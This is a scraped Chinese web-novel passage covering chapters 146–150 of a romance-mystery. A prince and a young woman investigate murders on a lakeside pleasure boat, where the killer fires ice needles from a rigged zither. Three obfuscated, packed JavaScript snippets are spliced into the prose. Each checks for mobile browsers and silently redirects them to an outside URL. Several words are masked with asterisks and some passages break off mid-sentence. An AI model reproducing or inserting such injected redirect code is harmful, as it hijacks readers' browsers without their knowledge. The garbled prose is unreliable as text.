那幽怨的语气,听得宋颜夕脑门上的筋突突直跳。 她大手一挥,拉着他就往外走:“本姑娘是那种言而无信之人吗?不就是让你意中人吃醋嘛,今天,咱们就把这事了了。” 走到门口的时候,宋颜夕脚步一顿:“你心上人在哪儿来着?” 南宫景嘴角微勾,随口扯了个地名:“弦歌舫。” 所谓弦歌舫,便是一艘布置精巧的画舫。 这画舫并非在江面之上,而是临湖而建,坊中各色节目应有尽有,为京中达官贵人的休闲玩乐之所。 “你意中人在哪儿呢?”宋颜夕站在画舫门口,一双凤眸四下打量着。 为了扮演好这个角色,南宫景特地带她去买了新衣裙。 素白绢纱披帛缠着茜色织金襦裙,云鬓斜簪一支累丝嵌玉步摇,垂落的银丝流苏轻扫眉尾朱砂痣。 虽云纱遮面,看不清容颜,但仅仅是这么站着,就已经吸引了不少人的目光。 南宫景不动声色地挡在她面前:“我也没见着她,或许是在其他楼层。” “你确定,她今天会在这儿?” 南宫景点头:“我确定,她就在这儿。” “好吧。” 宋颜夕挽住他的胳膊:“这样可以吧?” 南宫景眉眼中闪过笑意:“或许,还可以再靠近一点。” 宋颜夕还真的往他身上靠了靠:“这样呢?” “尚可。” 俊男美女的组合向来最容易引人注目。他们才刚走进来没多久,就有人上前搭讪。 “二位看着眼生,是第一次来弦歌舫吗?有没有兴致玩一盘?” 说话的是一位青衣公子。 南宫景点头:“诸位是在投壶?彩头为何物?” 青衣公子指了指前方,道:“便是这把上好的焦尾琴了。” 投壶并非东越独有,宋颜夕也是知道规矩的。 每人十支箭,投进数量最多者为胜。 若为平局,择加大难度,蒙眼投壶。最终仍然以投中数量取胜。 宋颜夕看了那青衣公子一眼,好心提醒:“跟他玩?你们赢不了的。” “看来,姑娘很是自信啊。” 身后有人朗声笑道:“二位怕是不知这位秦兄弟的投壶技术,他啊,可是弦歌舫的常胜将军呢。” “这么厉害吗?” 宋颜夕似笑非笑地看向南宫景,“人家可是常胜将军呢?你敢不敢比啊?” 南宫景挑眉:“你觉得呢?” 比试开始后,宋颜夕便站在一旁观看。 不过,她看的并不是南宫景,而是在思考,在场的女子当中,谁会是他的意中人。 想来,这男人应该是会在意中人面前“好好表现”的吧? 正如她所猜测的那样,南宫景轻轻松松投进十支箭。 不过,那个秦公子也不输他,同样投进了十支箭。 “兄台,原来你也是个高手啊。真是失敬失敬。” 秦公子朝南宫景拱了拱手,“下一局,可就是蒙眼投壶了,兄台可准备好了?” 南宫景却是看向宋颜夕:“夫人觉得,要继续比吗?” 一声“夫人”,让看戏的宋颜夕脸颊微热。 不过转念一想,她又明白了南宫景的意思。 想必,这家伙的意中人就在现场。 她清了清嗓子,尽量让自己的声音变得柔和:“夫君可一定要替我拿下这焦尾琴哦。” 她一边说,一边观察着周围女子的反应。试图从中找到那位“意中人”。 南宫景闻言,嘴角都要和太阳肩并肩了。 “秦公子听见了吧,我家夫人很喜欢那架焦尾琴。” 秦公子点头,将一块黑巾递给他:“如此,便开始吧。” 南宫景朝宋颜夕挥了挥手:“夫人,帮个忙吧。” 给他系黑巾的时候,宋颜夕用只有两个人能听到的声音说道:“你这是又唱哪一出呢?自己有手还要我给你系?” 南宫景的声音里偷着轻快:“夫人莫不是忘了咱们此行的目的了?如此,才显得咱们恩爱。” 说着,他忽然转身面对着宋颜夕。 宋颜夕原本站在他身后替他系黑巾,他猝不及防的转身,还没系紧的黑巾便 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正说着,他的余光瞥到南宫景的投壶。 只一眼就让他整个人如遭雷劈。 “这,怎么可能!” 南宫景的投壶里稳稳插着一把箭,不多不少,正好是十支。 方才,也就是一句话的功夫。 他就已经把所有箭投进去了吗? “秦公子,你也别太惊讶。这位兄台是真正的高手,输在他手上,你不亏。” “是啊秦公子,这位兄台可是一次投进了十支箭呢。” “还是在蒙眼的情况下。” 众人你一言我一语,说得秦公子脑瓜子嗡嗡的。 等他回过神来,南宫景已经抱着焦尾琴离开了。 “你刚刚表现不错,想必你意中人都看到了。”宋颜夕对南宫景说道。 南宫景放缓脚步:“宋姑娘觉得,她会喜欢我吗?” “这我如何知晓?我又不是她。” “那,若你是她呢?” 第146章:我心悦你 宋颜夕脚步一顿:“你这是什么意思?莫非,她与我喜好一样?” “倒也不是。” 南宫景解释道,“我的意思是,若是你,见了我方才的表现,可会心生欢喜?” “欢喜欢喜。”宋颜夕敷衍道。 “宋姑娘,你不真诚。” “怎么就不真诚了?莫非,你不满意我方才的答案?” “我……” “王爷,真是你啊?” 两人正说着,忽然听见前方传来一道清脆的男声。 循声望去,正好看到一个长相清秀的年轻男子朝他们这边招手。 “你认识他?”宋颜夕问。 南宫景的语气中透着无奈:“算是,认识吧。” 南宫景今日并没有易容,也没有戴面具。 他以“战王”的身份出现在众人面前的时候,几乎是戴着面具的。是以,他并不担心会被人认出来。 但,也有极少数的人见过他的真容。 眼前这位就是其中之一。 “大理寺少卿,裴子耽。”南宫景在她耳边说了几个字。 刚说完,裴子耽已经跑到他们面前。 “王爷今日怎么有兴致来这弦歌舫?” 见到南宫景,裴子耽似乎很愉悦,他眼中闪着星光,嘴角的笑都要翘到天上去了。 南宫景的回答只有三个字:“来逛逛。” “逛逛好啊,这弦歌舫有趣的东西可不少。王爷若是不嫌弃,下官可以为您引路。” 宋颜夕饶有兴致地看着这位大理寺少卿,总觉得,他对南宫景热情得过了头。 裴子耽那张嘴“叭叭”说个不停,南宫景已经有些不耐。 最后,他终于忍不住打断裴子耽:“本王今日来此,是有机密要事。裴少卿便当没见过本王,懂了吗?” 裴子耽顿时捂住嘴:“原来王爷是来办案的,需不需要下官帮忙?” 南宫景拉着宋颜夕就走:“离本王远点就是帮忙了。” 这个时候,裴子耽才注意到南宫景身边竟然还站着一个出尘的女子。 他后知后觉地喃喃自语:“王爷身边何时有这样一位侍女了。王爷竟然还拉她手了?不行,我得找林昊他们问问。” 另一边,南宫景直接拉着宋颜夕上了二楼。 “王爷和那位大理寺少卿很熟?”宋颜夕问。 “不熟。” “我倒是觉得你们熟得很呢。” 宋颜夕开始思考。 他一个久不在上京城的闲散王爷,是怎么和大理寺少卿联系上的? 还没等她想出所以然,面前就出现了几堵人墙。 “就是二位赢了秦公子?” 面前站着几个手执笔墨的男子,瞧他们的模样,应是读书人。 “二位,可有兴致与我们一比?” 这几位都痴迷于书画,而他们口中的比试,便是作画。 “你们这儿又是什么彩头?” 宋颜夕觉得有些意思,便问了一句。 “姑娘请看。” 其中一人指向案桌上的砚台,道,“便是这方七光砚。” “七光砚!!这可是荀老先生曾经用过的砚台,据说用七光砚所写的字数百年不褪色,千金难求啊。” “没想到弦歌舫出手如此阔绰” “公子,你就跟他们比一场吧,这可是七光砚啊。” 围观者开始起哄。 南宫景低声问:“喜欢吗?” 宋颜夕不明所以:? “七光砚。”南宫景解释道。 “哦,瞧着倒是精巧得很,不过我对……”砚台没什么研究。 “好,我与你们比。” 宋颜夕的话刚说了一半,南宫景已经应战。 裴子耽跟上来的时候,正好看到南宫景挥手作画。 “没想到,王爷竟然还精通书画之道。” 真不愧是我裴子耽仰慕之人。 本以为南宫景会画江山图或者是金戈铁马的沙场。却不想,跃然于纸上的却是一个妙龄女子。 女子身穿劲装,手执一青光宝剑,在一片花海中翩翩起舞。虽只是背影,却让人生出无限遐想。 裴子耽盯着那幅画,瞧得久了,画上之人便像是活过来一般。 简直,神乎其技。 就连一旁的宋颜夕都有些看呆了。 不知为何,这场景,给她似曾相识之感。 “公子可真是妙手丹青啊。” “我看这一局,胜者非这位公子莫属。” 众人议论纷纷。 南宫景却是捧着那幅画走到宋颜夕面前:“送给你。” “送给我?”宋颜夕不解。 南宫景低声说了一句:“她看着呢。” 哦,她懂了。 她接过画,在南宫景肩膀上拍了一下 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“你觉得,她会来吗?” 宋颜夕分析:“她若心中有你,必然是要找你问个明白的。” “那,她若不来呢?” 宋颜夕怜悯地看向他:“那,你可就要做好心理准备了。” “这样啊。” 南宫景将身子往栏杆上一靠:“那就劳烦宋姑娘陪我等上一等了。” 一直等到夜幕降临,南宫景那个所谓的意中人都没来。 宋颜夕看向他的目光中已经不仅仅是怜悯了。 “许是姑娘家脸皮薄,不如,你主动去找她表明心迹?” 南宫景看起来也是一脸沮丧:“表明心迹,她便会接受吗?” “这个……” 宋颜夕想了想,答道:“你不说,怎知她接不接受?凡事啊,总得试过才知结果。” 说着,她在南宫景胳膊上重重一拍,“何二哥啊,你平时也不是这般踌躇不定之人啊,怎么到了这情感之事就如此,优柔寡断呢?” “听起来有些道理。” 南宫景忽然站直身子,看向宋颜夕的时候,深邃如夜的眸子噙着点点波光。 “我心悦你。” 第147章:弦歌舫命案 宋颜夕如遭雷劈:“你,说什么?” “我说,我心悦你,宋姑娘。” “开什么玩笑呢?” 宋颜夕不自在地转身,却见他们身后的甲板上站着三个姑娘。 其中一人她曾在大长公主府见过,礼部尚书家的千金,杨蕊。 宋颜夕瞬间明白。 她朝那三人点头微笑,然后,转身面相南宫景。 “那三个人里面,哪个是你的意中人?” 南宫景:“啊?” “怎么这个反应?机会难得,赶紧去向你意中人表明心迹啊。这个时候,就别再玩这所谓的吃醋游戏了。” “她们不是……” 南宫景正要解释,忽然听见楼下传来一阵尖叫声。 “啊,**了!” “**?” 南宫景面色一凛,立刻拉着宋颜夕朝楼下跑去。 他们离开之后,杨蕊脸上闪过嫌弃之色:“白日宣淫,真是不知廉耻。” “蕊蕊,你刚刚有没有听到什么声音?”与她同行的绿衫女子问道。 杨蕊:“想必又是因为输赢发生了争吵。这种事情在弦歌舫也不是一两次了,没什么大不了的。” 她们的耳力不如南宫景,根本就没有听到楼下的骚乱。 是以,杨蕊并不知道,她最小的弟弟此刻已经命丧黄泉。 当南宫景和宋颜夕跑到一楼的时候,裴子耽已经蹲在死者身边。 焦尾琴和七光砚也被搁置在地上。 “如何?” 听到南宫景的声音,裴子耽立刻起身朝他行礼。 南宫景摆了摆手,示意他汇报案情。 “此人我曾见过一次,是礼部尚书的小儿子,杨开。” “死因为何?” “暗**,一击致命。” 裴子耽掀开杨开的衣襟,在他心口处,有一个红点。 宋颜夕沉了沉眸子。 关于暗**,她也是知道一些的。 那是一把短而细的利刃,随着弓**射出,力道之大,可以直接刺穿人的骨骼。 别看他身上没有很大的伤口,其实,心脏早就被击碎。 此时此刻,那随着暗**射出来的利刃,还插在杨开的体内。 “立刻封锁现场,任何人不准出入。”南宫景下达命令。 元日将至,弦歌舫又是达官贵人**之所。 此时发生命案,绝不仅仅是私人恩怨这么简单。 对于南宫景的命令,裴子耽向来是百分之两百执行。 当他亮出大理寺少卿的身份,那些骚乱的人群顿时鸦雀无声。 “小弟,小弟你怎么了?” 晚一步下来的杨蕊终于发现倒在地上的杨开。 眼看她就要扑上去,裴子耽一下子拉住了她。 “杨姑娘冷静,现在任何人都不能触碰令弟的尸体。” “我离开的时候,小弟还好好的。到底是谁杀了我小弟?” 杨蕊一把抓住裴子耽的手腕,“裴少卿,你不是断案很厉害吗?请你一定要抓住凶手,替我小弟报仇。” “放心吧杨姑娘,本官一定会查明真凶。还有王……” 话还没说完,忽然察觉到南宫景警告的目光。 裴子耽干笑一声:“总之,这件事,交给本官。” 安抚杨蕊之后,裴子耽走到南宫景面前:“王爷,您看此事该如何解决?礼部尚书正在宫里主持守岁宴事宜,是否要差人通报一声?” “按章办事即可。” 裴子耽点头,“此事怕是没这么容易了结,王爷王妃可要上楼小憩片刻?” 王妃? 宋颜夕眉头微蹙:“裴少卿怕是误会了,我与静安王不是那种关系。” “这跟静安王有何……” 裴子耽的话还没说完,南宫景已经拉着宋颜夕往楼上走去:“裴少卿只管查你的案子,本王与王妃,无需你来招呼。” “什么王妃啊?你到底在搞什么鬼?没看你心上人在看着你吗?” 宋颜夕压低声音,“我问你啊,你的意中人可是那位杨姑娘?” “你怎么会这么认为?” “看着的确不像。” 宋颜夕摸了摸下巴,“莫非,是另外两位姑娘?哎,你走慢点儿,你倒是告诉我哪个才是你意中人啊。” 没过多久,弦歌舫就被大理寺掌控起来。 所有人不能进出,原本热闹的氛围顿时变得一片肃穆。 因为凶手还没有抓到,舫上人人自危。 而裴子耽将弦歌舫搜了个遍也没能找到那把**的暗**。 此时此刻,南宫 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“我小弟已经死得这么惨了,你们竟然还要剖他的尸体,是想让我小弟**都不安生吗?” 裴子耽在一旁解释:“杨姑娘你冷静一点,我们也是为了尽快找到杀害令弟的凶手嘛。” “查案是你们大理寺的事,这个女人,凭什么动我小弟的尸体?” 杨蕊态度坚决,“总之,这件事,我不同意。” “杨姑娘,我理解你的心情。但眼下我们找不到凶器,只有剖尸才能知道那暗**射出的究竟是什么锐器。若是不尽快找出凶手,很有可能会有下一个受害者出现。。” 裴子耽还在解释,宋颜夕却一把将他拉到身后。 “这枉死之人啊,魂魄都会在世间游荡,死后不入地府,不入轮回。杨姑娘也不希望令弟变成孤魂野鬼吧。” 杨蕊怒目而视:“你这个不知廉耻的女人,敢诅咒我小弟!” 宋颜夕眨了眨眼:“不知廉耻?” 她猛地看向南宫景。 所以,他的意中人还真的是这位杨姑娘啊? 第148章:命案(二) “你我之间的事,日后再说。现在,找凶手才是最重要的。” 宋颜夕一边说,一边一步一步靠近杨蕊:“令弟已经**,杨姑娘不妨想想,若是凶手还在这弦歌舫,下一个要杀的人,会是谁?” 杨蕊被惊得后退了好几步:“你的意思是……” 最终,杨蕊还是答应了剖尸。 当杨开的尸体被剖开,宋颜夕眼中闪过诧异之色。 “怎么会这样?” 南宫景一直守在一旁,闻言上前一步:“发现什么了?” 宋颜夕将白布盖上,转身看向南宫景:“正如我们所猜测的那样,杨开的心脏遭受了重创。” “但,他体内并没有残留的锐器。” “没有凶器?” 南宫景掀开白布一看,“这,怎么可能呢?” “会不会是银针之类的锐器?凶手趁乱将银针吸走了?” 裴子耽见了那被解剖的尸体,脸色有些发白,但还是问了一句。 宋颜夕摇头:“疮口的面积,不像是银针留下的。” “可有毒素?”南宫景问。 宋颜夕:“没有。” “这就奇怪了。” “走吧。” 南宫景拉着宋颜夕往外走。 宋颜夕:“去哪儿?” “忙了这么久,你不饿吗?” 饭桌上,裴子耽白着一张脸看向那个大快朵颐的女子。 不愧是战王妃,心理承受能力就是强啊。 刚剖完尸体,她是怎么吃下这一桌饭菜的? “裴少卿,你愣着干什么?吃啊!” 抽空,宋颜夕还跟他说了一句话。 裴子耽干笑一声:“王妃您吃,不用管下官。” “我跟你说过了,我不是王妃。”宋颜夕纠正他的称呼。 “可是您与王爷……” 南宫景适时说了一句:“食不言寝不语,裴少卿,你说对吗?” 裴子耽闭嘴不说话了。 下一刻,他就看见南宫景夹了块剔了骨的鱼肉放在宋颜夕碗中:“慢点吃,就算是找凶手也不急于这一时。” 那温柔得像要掐出水的语气,听得裴子耽打了个哆嗦。 他他他,竟然亲手替这位姑娘剔鱼骨。 这,还是他认识的战王吗? “裴少卿,出事了。” 正在此时,大理寺的人进来在裴子耽耳边说了几个字。 裴子耽脸色一变:“走,去看看。” “怎么了?”南宫景问。 裴子耽一脸正色:“又发现一具尸体,同样是死于暗**。” 这一次,尸体是在船舫底下的杂物间发现的。 死者是一个中年男性,他衣着华贵,却并非京中贵族。 “你就这么确定他不是上京城的贵族?”宋颜夕问。 回答他的却是南宫景:“裴少卿可不简单,但凡是他见过的卷宗,都记在脑子里了。在进入大理寺之前,他曾经是吏部的户籍官。” “过目不忘啊!” 一听南宫景竟然在夸奖他,裴子耽脸颊一红:“王爷谬赞了,子耽能进入大理寺,全仰仗……” “恭维的话就别说了,去查查这个人的身份。” “是,王爷!下官一定尽快抓到凶手。” 见裴子耽打了鸡血的模样,宋颜夕忍不住调侃:“我算是瞧出来了,这个裴少卿,心悦你。” 南宫景正蹲在那检查尸体,一听这话,手上没控制住力道,直接撕破了死者的衣服。 “胡说什么呢?裴少卿可是男人。” “男人怎么了?” 宋颜夕不以为意:“这种事,不分男女。” 见南宫景脸色不对,她又补了一句:“不过你如今已经有了意中人,裴少卿的一片痴心怕是要错付了。” “你还在替他惋惜?” 有时候,南宫景是真想把她脑袋剖开,看看里头都装着什么东西。 “这么大反应做什么?放心吧,我的嘴很严的,此事绝对不会让第三个人知晓。不过何二哥你要反省一下自己,在你的意中人面前,你会不会表现得太冷淡了一些?她现在失去幼弟,你不妨去安慰安慰她,总好过让我陪你在这儿演什么恩爱戏码刺激她。哎,你去哪儿啊?我还没说完呢。” 宋颜夕话还没说完,南宫景已经离开了杂物间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492585|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚出门,就看到几个熟悉的人。其中一人正是那个和他们比赛投壶的秦公子。 因为来弦歌舫消遣的大都身份不俗,裴子耽并没有将人集中看守,除了不能离开船舫之外,他们几乎是自由的。 “二位,能否借一步说话?”秦公子率先开口。 几人来到甲板上。 刚刚站定,那几人就朝他们拱手鞠了个躬。 “秦公子,这是何意?”宋颜夕问。 秦公子却是看向南宫景:“我等看得出来,兄台与那位裴少卿关系很好。不知能否请兄台为我们疏通一二,尽早放我们归去。” 说着,他朝另外几人使了个眼色。 那几人立刻从怀中掏出沉甸甸的荷包塞到南宫景手中:“眼下元日将近,我们实在是不想沾上晦气。还望兄台帮个忙。” 南宫景掂了掂荷包:“几位,出手阔绰啊。” “应该的应该的。” 秦公子的话还没说完,南宫景就已经将荷包扔回到他们手中:“此事我可做不了主,诸位若是想要离开,不妨换个思路。” “兄台这是何意?” 南宫景看向他的手:“秦公子是弦歌舫的常客吧?” “没错。” “依你所见,凶手会藏在何处?” “这我如何知晓......” 话说到一半,秦公子忽然怔住:“兄台莫不是怀疑我吧?我,我虽然会投壶,但使暗器却是不会的。再说了,我与那礼部尚书家的小公子素无恩怨,杀他做什么呢?” “你怎知,杨小公子是被暗器所杀?”问话的是宋颜夕。 “大家都这么说啊。杨小公子出事的时候,我们都在旁边呢,根本就没看到有人对他出手,不是暗器又是什么?你们说,对吧?” 其他人纷纷附和:“没错,杨小公子那会儿就站在我们旁边,突然就倒下了,我还吓得不轻呢。” “你们不妨想想,杨小公子出事之前,可还有什么异常之处?如今这案子闹得很大,若是抓不到凶手,你们怕是都离不开了。” 几人陷入沉思。 忽然,秦公子身后那个紫袍公子说了一句:“我想起来了。” 第149章:找到线索 “当时,我好像听到一阵琴声。”那紫袍公子说道。 “琴声?” 南宫景看向那人:“当时船上这么热闹,你确定没有听错?” “这个,我也不确定。但我确实是听见了一道短促的声音,就像是琴弦被拨动了一下。” “大理寺问话的时候,为何不说?” 那人挠了挠脑袋:“那声音稍纵即逝,我还以为自己听错了呢。” 有了新线索,他们立刻排查船上所有的琴。 最后,他们还真的在杨蕊的房内找到了一把断了弦的琴。 杨蕊也是弦歌舫的常客,在这里,她长期包下了一个房间。 “你们怀疑我杀了我小弟?大理寺就是这么办案的吗?”杨蕊语气不善。 “没有怀疑你。我们只是要把这把琴带走,仅此而已。” 裴子耽朝身边的人使了个眼色,那人立刻上前抱走了那把琴。 杨蕊拦下那人:“这是我的东西,你们凭什么带走?” 宋颜夕直接将杨蕊拉到一旁:“杨姑娘,你到底还想不想抓到杀害令弟的凶手了?还是说,令弟的死,当真与你有关?” “我......” 杨蕊欲言又止。 “裴少卿,不用顾及杨尚书的面子了,将杨姑娘带下去,言行拷问。”这话,是南宫景说的。 裴子耽立刻招了招手:“把她带下去。” “不行,你们不能这么对我。我没有**!” 一直到被拖下去,杨蕊还在声嘶力竭地叫喊着。 “这样对你心上人,会不会太狠了?”宋颜夕问。 南宫景语气低沉:“她不是我意中人。” “行行行,她不是。” 其实,他们并没有真的怀疑杨蕊,之所以大张旗鼓地把她押下去,不过是为了让那幕后之人放松警惕。 船舫二楼有个被临时开辟出来的区域,杨蕊就被“关押”在那儿。 看着杨蕊被好吃好喝伺候着,宋颜夕忍不住摇了摇头:那男人就是嘴硬心软,这不是挺怜香惜玉的嘛。 南宫景可不知道她的想法,此刻,他正和裴子耽低声商量着。 “第二名死者的身份查清了吗?”南宫景问。 裴子耽答道:“查清了,是安远侯的远房表亲,此次进京本是为了参加侯府世子的婚宴。柳世子悔婚后,他便滞留京中,本是打算年后离京的。” “竟然还扯上了安远侯府?看来,对方的目的不单纯啊。” 南宫景语气微冷。 “王爷是怀疑,此事是乱党所为?” 南宫景点头:“凶手特意挑选在元日前夕**,杀的还是两个毫无交集的人,只能有一个解释。” 裴子耽也是一脸凝重:“他们要制造恐慌。” “那把琴,可发现什么?” “我们查过琴弦,应是被外力扯断的,底座有些沉,应是沾上了水。除此之外,琴身并未留下更多的痕迹。” “水?” 南宫景扣了扣桌面,“琴,怎会沾水呢?” 忽然,他脑中闪过一个念头。 该不会,是那样东西吧? “王爷,你去哪儿啊?” 见他起身朝外走,裴子耽立刻跟了上去。 “这是干什么去?” 走到门口,正好和宋颜夕迎面碰上。 “你跟我一起去。”南宫景拉住宋颜夕,直接将她带到临时搭建出来的“停尸房”。 “你要让我再验一次尸体?” “没错。这次,你注意这些。”南宫景贴在她耳边对她说了几个字。 复验尸体之后,宋颜夕得出一个结论。 “宋姑娘,你的意思是,凶器并非我们平日见到的利刃,而是冰刀?” 在宋颜夕的再三警告之下,裴子耽也跟着南宫景一起,唤宋颜夕为“宋姑娘”。 “没错,就是冰刃。而且,还是被磨得极细的冰刃。” 正因为如此,他们在死者体内才没找到凶器。 他们将船上的人搜了个遍,都没有找到**,那是因为冰针根本就不是从**中射出。 换句话说,凶手是利用那把琴做了一个简易**。 “哦,我明白了。” 裴子耽绕着尸体走了一圈,得出结论:“凶手事先就将那把琴架在舫中的某个地方,再用冰针将琴弦撑开,等到冰针融化,琴弦便会回缩,冰针便是这样被射出去的。” 当中的原理,与弓箭无异。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492586|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没错。舫中这么多人来往,凶手根本就无法预知谁会站在那个位置。这也从侧面佐证了我们先前的推断,这就是一起无差别**案件。” 裴子耽来回踱步:“如此看来,能接触到那把琴的人,嫌疑最大。” 而这个人,就是杨蕊。 “那倒未必。” 宋颜夕道:“我问过和杨蕊一起的那两个姑娘了,他们说,那把琴是突然出现在杨蕊房中的。” “那把琴不是杨姑娘的?可她不是说......” 裴子耽不明白,杨蕊为何要撒谎。 倒是南宫景替他解了疑惑:“她被人威胁了?” 宋颜夕朝他竖起大拇指,果然,这男人表面上不说,实则已经在暗地里调查了。 “没错,那把琴出现在房中的时候,底下还压了一张字条。那是一张死亡通知,若杨蕊不看好这把琴,下一个死的就是她。 裴子耽更不明白了:“杨姑娘这就信了?她为何不向我寻求帮助呢?” “这你就不懂了裴尚书。人在生死面前啊,总是会不受控制地失去理智的。” 有了这个线索之后,他们又对船上的人进行了第二次搜身。 “都查过了,没有人携带冰块上船。凶手究竟是从哪里弄来的冰呢?” “谁说一定是从外面带进来的?” “你的意思是,凶手很有可能是弦歌舫的人?” 虽然正值寒冬,但弦歌舫向来被打理得十分干净,就连舫上的积雪和冰块也日日都有人清理。 很快,他们就找到了弦歌舫负责清理积雪的小工。 “你就是阿四?船上的雪和冰,你们都是怎么处理的?” 结果,那人只是支支吾吾比划着什么。 宋颜夕算是看明白了,眼前这个叫阿四的小工是个哑巴。 最终,还是裴子耽寻了个懂哑语的给他录了口供。 “还真有个滑道。” 按照口供,他们果真在弦歌舫的后舱找到了一个运送冰雪的滑道。 裴子耽盯着那滑道看了许久,道:“可这冰雪顺着滑道落入湖中,凶手又是如何取冰的呢?” “这有何难?” 宋颜夕和南宫景同时开口。 第150章:设计抓住凶手 一盏茶时间之后,后舱多了几个黑色包裹。 裴子耽掀开那黑色包裹,冰雪便露了出来。 “凶手果真在滑道上设了拦截夹层,王爷王妃果真是冰雪聪……” 话还没说完,就收到了宋颜夕警告的眼神。 裴子耽拍了自己一嘴巴:“口误口误,是宋姑娘,宋姑娘。” “别争论这个了,说正事吧。” 南宫景指了指地上的黑色包裹,道,“去查一查,都有哪些人进过后舱。” 经过排查,他们最终锁定了一个人。 “秦公子,你来后舱做什么?” 眼前之人正是曾经试图花钱让他们放行的秦公子。 “我就是闲来无事过来逛逛,裴少卿,这不犯法吧。” “逛逛当然不犯法,但若是手脚不干净,取了不该取的东西,那这罪责可就大了。” 秦公子面色一紧:“裴少卿这是何意?我真的只是逛逛,没做别的啊。” 说着,他直接起身,将怀中的荷包递到裴子耽面前:“少卿请看。我生来富贵,要什么有什么,何必来这后舱偷拿东西啊?” “你的意思是,本官冤枉你了?” 屏风后,宋颜夕和南宫景低声交谈:“看不出来,这裴少卿审案的时候还有几分威严嘛。” 南宫景:“不然,你以为他如何能当上这大理寺少卿?” “你说,秦公子会是凶手吗?” 南宫景反问:“宋姑娘觉得呢?” “不好说。” 透过屏风,宋颜夕观察着秦公子:“你看他这圆滑的样儿,是不是在变着法的贿赂裴少卿呢?” “他贿不贿赂我不知道,但,我倒是挺想贿赂你的,宋姑娘。” “啊?你贿赂我做什么?” 宋颜夕还没有明白南宫景话里的意思,屏风那头忽然传来一阵巨响。 “大胆秦廉,竟敢在本官面前耍这把戏。” 裴子耽将那荷包重重砸落在地,语气冷峻:“若是再不如实交代,本官不介意今夜就将你押入诏狱。” “我说的都是真的啊,我真的就是来逛逛……” 眼看就要被拖下去,秦廉终于大喊一声:“我,我想起来了。我来后舱的时候,看见一个人正好离开。裴少卿,裴少卿,今日来后舱的可不止我一个人啊。” “哦?是吗?” 裴子耽挥了挥手,那些人便松开了秦廉。 “那你说说,那个人是谁?” 秦廉摇了摇头:“我不知道他是谁,当时,他穿着一件黑色斗篷。” “那人是男是女?” “我,不确定。” “什么都不知道,秦廉,你该不会是随意编了个人出来糊弄本官吧?把他拖下去,腿打断。” 秦廉赶紧跪下:“大人明鉴,小人没有半句虚言。小人虽然没有看清那个人的容貌,但,我看见他身上挂了一枚月牙形的翡翠。” “月牙形翡翠?” 宋颜夕和南宫景对视一眼。 凶案发生已经好几个时辰,凶手怕是已经将那玉佩处理干净了。 不过,他们自然有法子将那人引出来。 “若真如秦公子所说,接下来,还请公子配合我们演一场戏。” 见宋颜夕和南宫景从屏风后走出来,秦廉惊讶万分:“兄台,你们二位怎么也在此?” 见他盯着南宫景,裴子耽直接在他小腿踢了一脚:“闭嘴,不该你知道的事,少问。” 说完,他笑眯眯地端着一杯茶走到南宫景面前:“您一定累了吧,不如喝杯茶润润喉?” 秦廉:大哥,你刚刚的狠劲呢? 没想到你是这样裴少卿…… 宋颜夕看破不说破:果然啊,这个姓裴的就是心悦他。 正想着,眼前忽然多了一只骨节分明的手。 杯中之水微微晃动,伴随着一道低沉而富有磁性的声音。 “夫人,又在想什么呢?” 虽然南宫景的声音听不出什么情绪,但宋颜夕莫名听出了几分咬牙切齿的味道。 “我能想什么啊,当然是在想怎么抓住凶手啦。” 宋颜夕将杯中水饮尽,一双凤眸看向秦廉:“接下来就看你的了,秦公子。” 秦廉心头一颤,怎么有一种,不祥的预感。 “来人呐,把秦廉押下去,务必要让他画出凶手的画像。” 一个时辰后,正在低头画像的秦廉忽双眼一闭趴在案桌上。 而在他倒下之后,一个黑巾蒙面的人推门而入。 就在黑衣人手上的刀即将砍下去的时候,昏迷不醒的秦廉忽然一个侧身朝地上滚去。 滚的时候,他还大喊一声:“裴少卿,救我!” “你……” 黑衣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498428|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳孔睁大,转身就跑。 然而他才刚跑到门口,就被人一脚踹回了房内。 踹飞他的,是裴子耽。 黑衣人咬牙,立刻拿着刀攻了上去。 看到裴子耽和那黑衣人缠斗在一起,宋颜夕评论了一句:“看不出来,裴少卿功夫不错嘛。” 还以为他是个文官呢,没想到,竟还是个文武全才。 南宫景却一直在观察那个黑衣人,黝黑的瞳孔里闪过一道暗芒。 裴子耽功夫不弱,很快就制服了黑衣人。 当他掀开那黑衣人面巾的时候,刚刚还在抱头鼠窜的秦廉微微愣住。 “***,怎么会是你?” ***,是和秦廉一起玩投壶的朋友,也是那日和他一起“贿赂”南宫景的人之一。 身份被拆穿之后,***冷哼一声:“怎么不能是我?今日我既然落在你们手中,要杀要剐,悉听尊便。” 